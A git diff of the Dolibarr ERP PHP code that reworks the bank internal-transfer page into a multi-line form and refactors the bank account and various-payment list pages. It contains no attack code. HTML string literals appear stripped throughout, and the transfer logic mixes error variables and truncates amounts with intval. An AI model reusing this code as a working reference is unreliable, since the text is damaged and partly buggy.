setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); } if ($action == 'add') { - $langs->load("errors"); + $langs->load('errors'); + $i = 1; - $dateo = dol_mktime(12, 0, 0, GETPOST('remonth', 'int'), GETPOST('reday', 'int'), GETPOST('reyear', 'int')); - $label = GETPOST('label', 'alpha'); - $amount = price2num(GETPOST('amount', 'alpha'), 'MT', 2); - $amountto = price2num(GETPOST('amountto', 'alpha'), 'MT', 2); + while ($i < $MAXLINES) { + $dateo[$i] = dol_mktime(12, 0, 0, GETPOST($i.'_month', 'int'), GETPOST($i.'_day', 'int'), GETPOST($i.'_year', 'int')); + $label[$i] = GETPOST($i.'_label', 'alpha'); + $amount[$i] = intval(price2num(GETPOST($i.'_amount', 'alpha'), 'MT', 2)); + $amountto[$i] = price2num(GETPOST($i.'_amountto', 'alpha'), 'MT', 2); + $accountfrom[$i] = intval(GETPOST($i.'_account_from', 'int')); + $accountto[$i] = intval(GETPOST($i.'_account_to', 'int')); + $type[$i] = GETPOST($i.'_type', 'int'); + $errori[$i] = 0; - if (!$label) { - $error++; - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("Description")), null, 'errors'); + $tabnum[$i] = 0; + if (!empty($label[$i]) || !empty($type[$i]) || !($amount[$i] <= 0) || !($accountfrom[$i] < 0) || !($accountto[$i] < 0)) { + $tabnum[$i] = 1; + } + $i++; } - if (!$amount) { - $error++; - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("Amount")), null, 'errors'); - } - if (!GETPOST('account_from', 'int')) { - $error++; - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("TransferFrom")), null, 'errors'); - } - if (!GETPOST('account_to', 'int')) { - $error++; - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("TransferTo")), null, 'errors'); - } - if (!$error) { - require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; - $accountfrom = new Account($db); - $accountfrom->fetch(GETPOST('account_from', 'int')); + $n = 1; + while ($n < $MAXLINES) { + if ($tabnum[$n] === 1) { + if ($accountfrom[$n] < 0) { + $errori[$n]++; + setEventMessages($langs->trans("ErrorFieldRequired", '#'.$n. ' ' .$langs->transnoentities("TransferFrom")), null, 'errors'); + } + if ($accountto[$n] < 0) { + $errori[$n]++; + setEventMessages($langs->trans("ErrorFieldRequired", '#'.$n. ' ' .$langs->transnoentities("TransferTo")), null, 'errors'); + } + if (!$type[$n]) { + $errori[$n]++; + setEventMessages($langs->trans("ErrorFieldRequired", '#'.$n. ' ' .$langs->transnoentities("Type")), null, 'errors'); + } + if (!$dateo[$n]) { + $errori[$n]++; + setEventMessages($langs->trans("ErrorFieldRequired", '#'.$n. ' ' .$langs->transnoentities("Date")), null, 'errors'); + } - $accountto = new Account($db); - $accountto->fetch(GETPOST('account_to', 'int')); + if (!($label[$n])) { + $errori[$n]++; + setEventMessages($langs->trans("ErrorFieldRequired", '#'.$n. ' ' . $langs->transnoentities("Description")), null, 'errors'); + } + if (!($amount[$n])) { + $errori[$n]++; + setEventMessages($langs->trans("ErrorFieldRequired", '#'.$n. ' ' .$langs->transnoentities("Amount")), null, 'errors'); + } - if ($accountto->currency_code == $accountfrom->currency_code) { - $amountto = $amount; - } else { - if (!$amountto) { - $error++; - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("AmountTo")), null, 'errors'); - } - } - if ($amountto < 0) { - $error++; - setEventMessages($langs->trans("AmountMustBePositive"), null, 'errors'); - } - - if ($accountto->id == $accountfrom->id) { - $error++; - setEventMessages($langs->trans("ErrorFromToAccountsMustDiffers"), null, 'errors'); - } - - if (empty($error)) { - $db->begin(); - - $bank_line_id_from = 0; - $bank_line_id_to = 0; - $result = 0; - - // By default, electronic transfert from bank to bank - $typefrom = 'PRE'; - $typeto = 'VIR'; - if ($accountto->courant == Account::TYPE_CASH || $accountfrom->courant == Account::TYPE_CASH) { - // This is transfer of change - $typefrom = 'LIQ'; - $typeto = 'LIQ'; - } - - if (!$error) { - $bank_line_id_from = $accountfrom->addline($dateo, $typefrom, $label, price2num(-1 * $amount), '', '', $user); - } - if (!($bank_line_id_from > 0)) { - $error++; - } - if (!$error) { - $bank_line_id_to = $accountto->addline($dateo, $typeto, $label, $amountto, '', '', $user); - } - if (!($bank_line_id_to > 0)) { - $error++; - } - - if (!$error) { - $result = $accountfrom->add_url_line($bank_line_id_from, $bank_line_id_to, DOL_URL_ROOT.'/compta/bank/line.php?rowid=', '(banktransfert)', 'banktransfert'); - } - if (!($result > 0)) { - $error++; - } - if (!$error) { - $result = $accountto->add_url_line($bank_line_id_to, $bank_line_id_from, DOL_URL_ROOT.'/compta/bank/line.php?rowid=', '(banktransfert)', 'banktransfert'); - } - if (!($result > 0)) { - $error++; - } - - if (!$error) { - $mesgs = $langs->trans("TransferFromToDone", '{s1}', '{s2}', $amount, $langs->transnoentitiesnoconv("Currency".$conf->currency)); - $mesgs = str_replace('{s1}', ''.$accountfrom->label.'', $mesgs); - $mesgs = str_replace('{s2}', ''.$accountto->label.'', $mesgs); - setEventMessages($mesgs, null, 'mesgs'); - $db->commit(); - } else { - setEventMessages($accountfrom->error.' '.$accountto->error, null, 'errors'); - $db->rollback(); + if (!$errori[$n]) { + require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; + + $accountfrom = new Account($db); + $accountfrom->fetch(GETPOST($n.'_account_from', 'int')); + + $accountto = new Account($db); + $accountto->fetch(GETPOST($n.'_account_to', 'int')); + + if ($accountto->currency_code == $accountfrom->currency_code) { + $amountto[$n] = $amount[$n]; + } else { + if (!$amountto[$n]) { + $error[$n]++; + setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("AmountTo")).' #'.$n, null, 'errors'); + } + } + if ($amountto[$n] < 0) { + $errori[$n]++; + setEventMessages($langs->trans("AmountMustBePositive").' #'.$n, null, 'errors'); + } + + if ($accountto->id == $accountfrom->id) { + $errori[$n]++; + setEventMessages($langs->trans("ErrorFromToAccountsMustDiffers").' #'.$n, null, 'errors'); + } + } + + if ($errori[$n] == 0) { + $db->begin(); + + $bank_line_id_from = 0; + $bank_line_id_to = 0; + $result = 0; + + // By default, electronic transfert from bank to bank + $typefrom = $type[$n]; + $typeto = $type[$n]; + if ($accountto->courant == Account::TYPE_CASH || $accountfrom->courant == Account::TYPE_CASH) { + // This is transfer of change + $typefrom = 'LIQ'; + $typeto = 'LIQ'; + } + + if (!$errori[$n]) { + $bank_line_id_from = $accountfrom->addline($dateo[$n], $typefrom, $label[$n], price2num(-1 * $amount[$n]), '', '', $user); + } + if (!($bank_line_id_from > 0)) { + $errori[$n]++; + } + if (!$errori[$n]) { + $bank_line_id_to = $accountto->addline($dateo[$n], $typeto, $label[$n], $amountto[$n], '', '', $user); + } + if (!($bank_line_id_to > 0)) { + $errori[$n]++; + } + + if (!$errori[$n]) { + $result = $accountfrom->add_url_line($bank_line_id_from, $bank_line_id_to, DOL_URL_ROOT.'/compta/bank/line.php?rowid=', '(banktransfert)', 'banktransfert'); + } + if (!($result > 0)) { + $errori++; + } + if (!$errori[$n]) { + $result = $accountto->add_url_line($bank_line_id_to, $bank_line_id_from, DOL_URL_ROOT.'/compta/bank/line.php?rowid=', '(banktransfert)', 'banktransfert'); + } + if (!($result > 0)) { + $errori[$n]++; + } + if (!$errori[$n]) { + $mesgs = $langs->trans("TransferFromToDone", '{s1}', '{s2}', $amount[$n], $langs->transnoentitiesnoconv("Currency".$conf->currency)); + $mesgs = str_replace('{s1}', ''.$accountfrom->label.'', $mesgs); + $mesgs = str_replace('{s2}', ''.$accountto->label.'', $mesgs); + setEventMessages($mesgs, null, 'mesgs'); + $db->commit(); + } else { + setEventMessages($accountfrom->error.' '.$accountto->error, null, 'errors'); + $db->rollback(); + } } } + $n++; } } - - /* * View */ +$form = new Form($db); + $help_url = 'EN:Module_Banks_and_Cash|FR:Module_Banques_et_Caisses|ES:Módulo_Bancos_y_Cajas'; $title = $langs->trans('MenuBankInternalTransfer'); llxHeader('', $title, $help_url); + print ' '; -$form = new Form($db); - -$account_from = ''; -$account_to = ''; -$label = ''; -$amount = ''; -$amountto = ''; - -if ($error) { - $account_from = GETPOST('account_from', 'int'); - $account_to = GETPOST('account_to', 'int'); - $label = GETPOST('label', 'alpha'); - $amount = GETPOST('amount', 'alpha'); -} print load_fiche_titre($langs->trans("MenuBankInternalTransfer"), '', 'bank_account'); print ''.$langs->trans("TransferDesc").''; -print "

      "; +print '

      '; print '
      '; print ''; - print ''; +print '
      '; + print '
      '; -print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; @@ -456,12 +492,12 @@ if (!empty($arrayfields['b.tms']['checked'])) { } // Status if (!empty($arrayfields['b.clos']['checked'])) { - print ''; + print ''; $array = array( 'opened'=>$langs->trans("Opened"), 'closed'=>$langs->trans("Closed") ); - print $form->selectarray("search_status", $array, $search_status, 1, 0, 0, '', 0, 0, 0, '', '', 1); + print $form->selectarray("search_status", $array, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'search_status maxwidth125 onrightofpage', 1); print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '.$objecttmp->getNomUrl(1).'
      '; + print '
      '; } - } - - // Label - if (!empty($arrayfields['b.label']['checked'])) { - print '
      '.dol_escape_htmltag($objecttmp->label).'
      '; - print $objecttmp->type_lib[$objecttmp->type]; - print ''.dol_escape_htmltag($objecttmp->number).''; - if (isModEnabled('accounting') && !empty($objecttmp->account_number)) { - $accountingaccount = new AccountingAccount($db); - $accountingaccount->fetch('', $objecttmp->account_number, 1); - print ''; - print $accountingaccount->getNomUrl(0, 1, 1, '', 0); - print ''; - } else { - print ''.$objecttmp->account_number.''; - } - print ''; - if (isModEnabled('accounting')) { - if (empty($objecttmp->fk_accountancy_journal)) { - print img_warning($langs->trans("Mandatory")); - } else { - $accountingjournal = new AccountingJournal($db); - $accountingjournal->fetch($objecttmp->fk_accountancy_journal); - print $accountingjournal->getNomUrl(0, 1, 1, '', 1); + } else { + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($objecttmp->id, $arrayofselected)) { + $selected = 1; + } + print ''; } - } else { - print ''; + print ''; - print $objecttmp->currency_code; - print ''.$objecttmp->getNomUrl(1).''; - if ($conciliate == -2) { - print ''.$langs->trans("CashAccount").''; - } elseif ($conciliate == -3) { - print ''.$langs->trans("Closed").''; - } elseif (empty($objecttmp->rappro)) { - print ''.$langs->trans("ConciliationDisabled").''; - } else { - $result = $objecttmp->load_board($user, $objecttmp->id); - if (is_numeric($result) && $result < 0) { - setEventMessages($objecttmp->error, $objecttmp->errors, 'errors'); - } else { - print ''; - print ''; - print $result->nbtodo; + // Label + if (!empty($arrayfields['b.label']['checked'])) { + print ''.dol_escape_htmltag($objecttmp->label).''; + print $objecttmp->type_lib[$objecttmp->type]; + print ''.dol_escape_htmltag($objecttmp->number).''; + if (isModEnabled('accounting') && !empty($objecttmp->account_number)) { + $accountingaccount = new AccountingAccount($db); + $accountingaccount->fetch('', $objecttmp->account_number, 1); + print ''; + print $accountingaccount->getNomUrl(0, 1, 1, '', 0); print ''; - print ''; - if ($result->nbtodolate) { - print ''; - print ' '.$result->nbtodolate; + } else { + print ''.$objecttmp->account_number.''; + } + print ''; + if (isModEnabled('accounting')) { + if (empty($objecttmp->fk_accountancy_journal)) { + print img_warning($langs->trans("Mandatory")); + } else { + $accountingjournal = new AccountingJournal($db); + $accountingjournal->fetch($objecttmp->fk_accountancy_journal); + print $accountingjournal->getNomUrl(0, 1, 1, '', 1); + } + } else { + print ''; + } + print ''; + print $objecttmp->currency_code; + print ''; + if ($conciliate == -2) { + print ''.$langs->trans("CashAccount").''; + } elseif ($conciliate == -3) { + print ''.$langs->trans("Closed").''; + } elseif (empty($objecttmp->rappro)) { + print ''.$langs->trans("ConciliationDisabled").''; + } else { + $result = $objecttmp->load_board($user, $objecttmp->id); + if (is_numeric($result) && $result < 0) { + setEventMessages($objecttmp->error, $objecttmp->errors, 'errors'); + } else { + print ''; + print ''; + print $result->nbtodo; print ''; + print ''; + if ($result->nbtodolate) { + print ''; + print ' '.$result->nbtodolate; + print ''; + } } } + + print ''; + print dol_print_date($objecttmp->date_creation, 'dayhour'); + print ''; + print dol_print_date($objecttmp->date_update, 'dayhour'); + print ''.$objecttmp->getLibStatut(5).''; + print ''; + print ''.price(price2num($solde, 'MT'), 0, $langs, 1, -1, -1, $objecttmp->currency_code).''; + print ''; + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($objecttmp->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '; - print dol_print_date($objecttmp->date_creation, 'dayhour'); - print ''; - print dol_print_date($objecttmp->date_update, 'dayhour'); - print ''.$objecttmp->getLibStatut(5).''; - print ''; - print ''.price($solde, 0, $langs, 1, -1, -1, $objecttmp->currency_code).''; - print ''; - print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($objecttmp->id, $arrayofselected)) { - $selected = 1; - } - print ''; - } - print '
      '; +print '
      '; + print ''; -print ''; -print ''; -print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +//print ''; print ''; -print '"; +for ($i = 1 ; $i < $MAXLINES; $i++) { + $label = ''; + $amount = ''; -print "\n"; + if ($errori[$i]) { + $label = GETPOST($i.'_label', 'alpha'); + $amount = GETPOST($i.'_amount', 'alpha'); + } -print "\n"; -print ''; -print ''; -print ''; + if ($i == 1) { + $classi = 'numvir number'. $i; + $classi .= ' active'; + } else { + $classi = 'numvir number'. $i; + $classi .= ' hidejs hideobject'; + } -print "
      '.$langs->trans("TransferFrom").''.$langs->trans("TransferTo").''.$langs->trans("Date").''.$langs->trans("Description").''.$langs->trans("Amount").''.$langs->trans("TransferFrom").''.$langs->trans("TransferTo").''.$langs->trans("Type").''.$langs->trans("Date").''.$langs->trans("Description").''.$langs->trans("Amount").''.$langs->trans("AmountToOthercurrency").'
      '; -print img_picto('', 'bank_account', 'class="paddingright"'); -$form->select_comptes($account_from, 'account_from', 0, '', 1, '', !isModEnabled('multicurrency') ? 0 : 1); -print "\n"; -print img_picto('', 'bank_account', 'class="paddingright"'); -$form->select_comptes($account_to, 'account_to', 0, '', 1, '', !isModEnabled('multicurrency') ? 0 : 1); -print ""; -print $form->selectDate((!empty($dateo) ? $dateo : ''), '', '', '', '', 'add'); -print "
      "; + print '
      '; + print img_picto('', 'bank_account', 'class="paddingright"'); + $form->select_comptes(($errori[$i] ? GETPOST($i.'_account_from', 'int') : ''), $i.'_account_from', 0, '', 1, ($errori[$i] ? 'view=view' : ''), isModEnabled('multicurrency') ? 1 : 0, 'minwidth100'); + print ''; + print img_picto('', 'bank_account', 'class="paddingright"'); + $form->select_comptes(($errori[$i] ? GETPOST($i.'_account_to', 'int') : ''), $i.'_account_to', 0, '', 1, ($errori[$i] ? 'view=view' : ''), isModEnabled('multicurrency') ? 1 : 0, 'minwidth100'); + print "'; + $idpaymentmodetransfer = dol_getIdFromCode($db, 'VIR', 'c_paiement'); + $form->select_types_paiements(($errori[$i] ? GETPOST($i.'_type', 'aZ09') : $idpaymentmodetransfer), $i.'_type', '', 0, 1, 0, 0, 1, 'minwidth100'); + print "'; + print $form->selectDate((!empty($dateo[$i]) ? $dateo[$i] : ''), $i.'_', '', '', '', 'add'); + print "
      '; +print ''; +print ''; +print '
      '; +print ' + + + '; +print '
      '; print '
      '; -print '
      '; +print ''; -print ""; +print ' + '; // End of page llxFooter(); + $db->close(); diff --git a/htdocs/compta/bank/treso.php b/htdocs/compta/bank/treso.php index d3e573f21bf..e75402ba429 100644 --- a/htdocs/compta/bank/treso.php +++ b/htdocs/compta/bank/treso.php @@ -353,10 +353,10 @@ if (GETPOST("account") || GETPOST("ref")) { print "
      ".$refcomp."'.price(abs($total_ttc))."  '.price($total_ttc)."'.price($solde).'
      '.$langs->trans("Amount").''.price($object->amount, 0, $langs, 1, -1, -1, $conf->currency).'
      '; - print $langs->trans("AccountAccounting"); - print ''; + // Account of Chart of account + $editvalue = ''; if (isModEnabled('accounting')) { - $accountingaccount = new AccountingAccount($db); - $accountingaccount->fetch('', $object->accountancy_code, 1); - - print $accountingaccount->getNomUrl(0, 1, 1, '', 1); - } else { - print $object->accountancy_code; + $editvalue = $formaccounting->select_account($object->accountancy_code, 'accountancy_code', 1, null, 1, 1); } + + print '
      '; + print $form->editfieldkey('AccountAccounting', 'accountancy_code', $object->accountancy_code, $object, (!$alreadyaccounted && $permissiontoadd), 'string', '', 0); + print ''; + print $form->editfieldval('AccountAccounting', 'accountancy_code', $object->accountancy_code, $object, (!$alreadyaccounted && $permissiontoadd), 'asis', $editvalue, 0, null, '', 1, 'lengthAccountg'); print '
      '; - print $form->editfieldkey('SubledgerAccount', 'subledger_account', $object->subledger_account, $object, (!$alreadyaccounted && $user->rights->banque->modifier), 'string', '', 0); + print $form->editfieldkey('SubledgerAccount', 'subledger_account', $object->subledger_account, $object, (!$alreadyaccounted && $permissiontoadd), 'string', '', 0); print ''; - print $form->editfieldval('SubledgerAccount', 'subledger_account', $object->subledger_account, $object, (!$alreadyaccounted && $user->rights->banque->modifier), 'string', '', 0); + print $form->editfieldval('SubledgerAccount', 'subledger_account', $object->subledger_account, $object, (!$alreadyaccounted && $permissiontoadd), 'string', '', 0, null, '', 1, 'lengthAccounta'); print '
      '.$langs->trans('BankTransactionLine').''; - print $bankline->getNomUrl(1, 0, 'showall'); - print '
      '.$langs->trans('BankTransactionLine').''; + if ($object->fk_bank > 0) { + $bankline = new AccountLine($db); + $result = $bankline->fetch($object->fk_bank); + + if ($result <= 0) { + $bankaccountnotfound = 1; + } else { + print $bankline->getNomUrl(1, 0, 'showall'); + } + } else { + $bankaccountnotfound = 1; + + print ''.$langs->trans("NoRecordfound").''; } + print '
      '; - print_barre_liste($langs->trans("MenuVariousPayment"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $totalnboflines, 'object_payment', 0, $newcardbutton, '', $limit, 0, 0, 1); - - if ($search_all) { - foreach ($fieldstosearchall as $key => $val) { - $fieldstosearchall[$key] = $langs->trans($val); - } - print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '; - } - - $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; - $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields - $moreforfilter= ''; - - print '
      '; - print '
      '; - - print ''; - - if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { - print ''; - } - - // Ref - if ($arrayfields['ref']['checked']) { - print ''; - } - - // Label - if ($arrayfields['label']['checked']) { - print ''; - } - - // Payment date - if ($arrayfields['datep']['checked']) { - print ''; - } - - // Value date - if ($arrayfields['datev']['checked']) { - print ''; - } - - // Payment type - if ($arrayfields['type']['checked']) { - print ''; - } - - // Project - if ($arrayfields['project']['checked']) { - print ''; - } - - // Bank account - if ($arrayfields['bank']['checked']) { - print ''; - } - - // Bank entry - if ($arrayfields['entry']['checked']) { - print ''; - } - - // Accounting account - if ($arrayfields['account']['checked']) { - print ''; - } - - // Subledger account - if ($arrayfields['subledger']['checked']) { - print ''; - } - - // Debit - if ($arrayfields['debit']['checked']) { - print ''; - } - - // Credit - if ($arrayfields['credit']['checked']) { - print ''; - } +print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; +} - print ''; +if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { + print ''; +} - print ''; +// Ref +if ($arrayfields['ref']['checked']) { + print ''; +} - if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { - print_liste_field_titre('#', $_SERVER['PHP_SELF'], '', '', $param, '', $sortfield, $sortorder); - } +// Label +if ($arrayfields['label']['checked']) { + print ''; +} - if ($arrayfields['ref']['checked']) { - print_liste_field_titre($arrayfields['ref']['label'], $_SERVER["PHP_SELF"], 'v.rowid', '', $param, '', $sortfield, $sortorder); - } - if ($arrayfields['label']['checked']) { - print_liste_field_titre($arrayfields['label']['label'], $_SERVER["PHP_SELF"], 'v.label', '', $param, '', $sortfield, $sortorder); - } - if ($arrayfields['datep']['checked']) { - print_liste_field_titre($arrayfields['datep']['label'], $_SERVER["PHP_SELF"], 'v.datep,v.rowid', '', $param, '', $sortfield, $sortorder, 'center '); - } - if ($arrayfields['datev']['checked']) { - print_liste_field_titre($arrayfields['datev']['label'], $_SERVER["PHP_SELF"], 'v.datev,v.rowid', '', $param, '', $sortfield, $sortorder, 'center '); - } - if ($arrayfields['type']['checked']) { - print_liste_field_titre($arrayfields['type']['label'], $_SERVER["PHP_SELF"], 'type', '', $param, '', $sortfield, $sortorder, 'center '); - } - if ($arrayfields['project']['checked']) { - print_liste_field_titre($arrayfields['project']['label'], $_SERVER["PHP_SELF"], 'fk_project', '', $param, '', $sortfield, $sortorder); - } - if ($arrayfields['bank']['checked']) { - print_liste_field_titre($arrayfields['bank']['label'], $_SERVER["PHP_SELF"], 'ba.label', '', $param, '', $sortfield, $sortorder); - } - if ($arrayfields['entry']['checked']) { - print_liste_field_titre($arrayfields['entry']['label'], $_SERVER["PHP_SELF"], 'ba.label', '', $param, '', $sortfield, $sortorder); - } - if ($arrayfields['account']['checked']) { - print_liste_field_titre($arrayfields['account']['label'], $_SERVER["PHP_SELF"], 'v.accountancy_code', '', $param, '', $sortfield, $sortorder, 'left '); - } - if ($arrayfields['subledger']['checked']) { - print_liste_field_titre($arrayfields['subledger']['label'], $_SERVER["PHP_SELF"], 'v.subledger_account', '', $param, '', $sortfield, $sortorder, 'left '); - } - if ($arrayfields['debit']['checked']) { - print_liste_field_titre($arrayfields['debit']['label'], $_SERVER["PHP_SELF"], 'v.amount', '', $param, '', $sortfield, $sortorder, 'right '); - } - if ($arrayfields['credit']['checked']) { - print_liste_field_titre($arrayfields['credit']['label'], $_SERVER["PHP_SELF"], 'v.amount', '', $param, '', $sortfield, $sortorder, 'right '); - } +// Payment date +if ($arrayfields['datep']['checked']) { + print ''; +} - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); - $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; +// Value date +if ($arrayfields['datev']['checked']) { + print ''; +} +// Payment type +if ($arrayfields['type']['checked']) { + print ''; +} + +// Project +if ($arrayfields['project']['checked']) { + print ''; +} + +// Bank account +if ($arrayfields['bank']['checked']) { + print ''; +} + +// Bank entry +if ($arrayfields['entry']['checked']) { + print ''; +} + +// Accounting account +if (!empty($arrayfields['account']['checked'])) { + print ''; +} + +// Subledger account +if (!empty($arrayfields['subledger']['checked'])) { + print ''; +} + +// Debit +if (!empty($arrayfields['debit']['checked'])) { + print ''; +} + +// Credit +if ($arrayfields['credit']['checked']) { + print ''; +} + +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} + +print ''; + + +print ''; + +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'maxwidthsearch center '); - print ''; +} + +if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { + print_liste_field_titre('#', $_SERVER['PHP_SELF'], '', '', $param, '', $sortfield, $sortorder); +} + +if ($arrayfields['ref']['checked']) { + print_liste_field_titre($arrayfields['ref']['label'], $_SERVER["PHP_SELF"], 'v.rowid', '', $param, '', $sortfield, $sortorder); +} +if ($arrayfields['label']['checked']) { + print_liste_field_titre($arrayfields['label']['label'], $_SERVER["PHP_SELF"], 'v.label', '', $param, '', $sortfield, $sortorder); +} +if ($arrayfields['datep']['checked']) { + print_liste_field_titre($arrayfields['datep']['label'], $_SERVER["PHP_SELF"], 'v.datep,v.rowid', '', $param, '', $sortfield, $sortorder, 'center '); +} +if ($arrayfields['datev']['checked']) { + print_liste_field_titre($arrayfields['datev']['label'], $_SERVER["PHP_SELF"], 'v.datev,v.rowid', '', $param, '', $sortfield, $sortorder, 'center '); +} +if ($arrayfields['type']['checked']) { + print_liste_field_titre($arrayfields['type']['label'], $_SERVER["PHP_SELF"], 'type', '', $param, '', $sortfield, $sortorder, 'center '); +} +if ($arrayfields['project']['checked']) { + print_liste_field_titre($arrayfields['project']['label'], $_SERVER["PHP_SELF"], 'fk_project', '', $param, '', $sortfield, $sortorder); +} +if ($arrayfields['bank']['checked']) { + print_liste_field_titre($arrayfields['bank']['label'], $_SERVER["PHP_SELF"], 'ba.label', '', $param, '', $sortfield, $sortorder); +} +if ($arrayfields['entry']['checked']) { + print_liste_field_titre($arrayfields['entry']['label'], $_SERVER["PHP_SELF"], 'ba.label', '', $param, '', $sortfield, $sortorder); +} +if (!empty($arrayfields['account']['checked'])) { + print_liste_field_titre($arrayfields['account']['label'], $_SERVER["PHP_SELF"], 'v.accountancy_code', '', $param, '', $sortfield, $sortorder, 'left '); +} +if (!empty($arrayfields['subledger']['checked'])) { + print_liste_field_titre($arrayfields['subledger']['label'], $_SERVER["PHP_SELF"], 'v.subledger_account', '', $param, '', $sortfield, $sortorder, 'left '); +} +if ($arrayfields['debit']['checked']) { + print_liste_field_titre($arrayfields['debit']['label'], $_SERVER["PHP_SELF"], 'v.amount', '', $param, '', $sortfield, $sortorder, 'right '); +} +if ($arrayfields['credit']['checked']) { + print_liste_field_titre($arrayfields['credit']['label'], $_SERVER["PHP_SELF"], 'v.amount', '', $param, '', $sortfield, $sortorder, 'right '); +} + +// Fields from hook +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; + +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'maxwidthsearch center '); +} +print ''; - $totalarray = array(); - $totalarray['nbfield'] = 0; - $totalarray['val']['total_cred'] = 0; - $totalarray['val']['total_deb'] = 0; +$totalarray = array(); +$totalarray['nbfield'] = 0; +$totalarray['val']['total_cred'] = 0; +$totalarray['val']['total_deb'] = 0; - while ($i < min($num, $limit)) { - $obj = $db->fetch_object($resql); +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { + $obj = $db->fetch_object($resql); - $variousstatic->id = $obj->rowid; - $variousstatic->ref = $obj->rowid; - $variousstatic->label = $obj->label; + $variousstatic->id = $obj->rowid; + $variousstatic->ref = $obj->rowid; + $variousstatic->label = $obj->label; + $variousstatic->datep = $obj->datep; + $variousstatic->type_payment = $obj->payment_code; + $bankline->fetch($obj->fk_bank); + $variousstatic->fk_bank = $bankline->getNomUrl(1); + $variousstatic->amount = $obj->amount; - print ''; + $accountingaccount->fetch('', $obj->accountancy_code, 1); + $variousstatic->accountancy_code = $accountingaccount->getNomUrl(0, 0, 1, $obj->accountingaccount, 1); + + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } // No if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { @@ -649,7 +756,7 @@ if ($resql) { } // Accounting account - if ($arrayfields['account']['checked']) { + if (!empty($arrayfields['account']['checked'])) { $accountingaccount->fetch('', $obj->accountancy_code, 1); print ''; @@ -659,7 +766,7 @@ if ($resql) { } // Accounting subledger account - if ($arrayfields['subledger']['checked']) { + if (!empty($arrayfields['subledger']['checked'])) { print ''; if (!$i) { $totalarray['nbfield']++; @@ -698,45 +805,43 @@ if ($resql) { print ''; } - print ''; - - if (!$i) { - $totalarray['nbfield']++; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } print ''."\n"; - - $i++; } - - // Show total line - include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; - - // If no record found - if ($num == 0) { - $colspan = 1; - foreach ($arrayfields as $key => $val) { - if (!empty($val['checked'])) { - $colspan++; - } - } - print ''; - } - - $db->free($resql); - - $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); - $reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - - print '
      '; - print ''; - print ''; - print ''; - print ''; - print ''; - print '
      '; - print $form->selectDate($search_datep_start ? $search_datep_start : -1, 'search_date_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); - print '
      '; - print '
      '; - print $form->selectDate($search_datep_end ? $search_datep_end : -1, 'search_date_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); - print '
      '; - print '
      '; - print '
      '; - print $form->selectDate($search_datev_start ? $search_datev_start : -1, 'search_date_value_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); - print '
      '; - print '
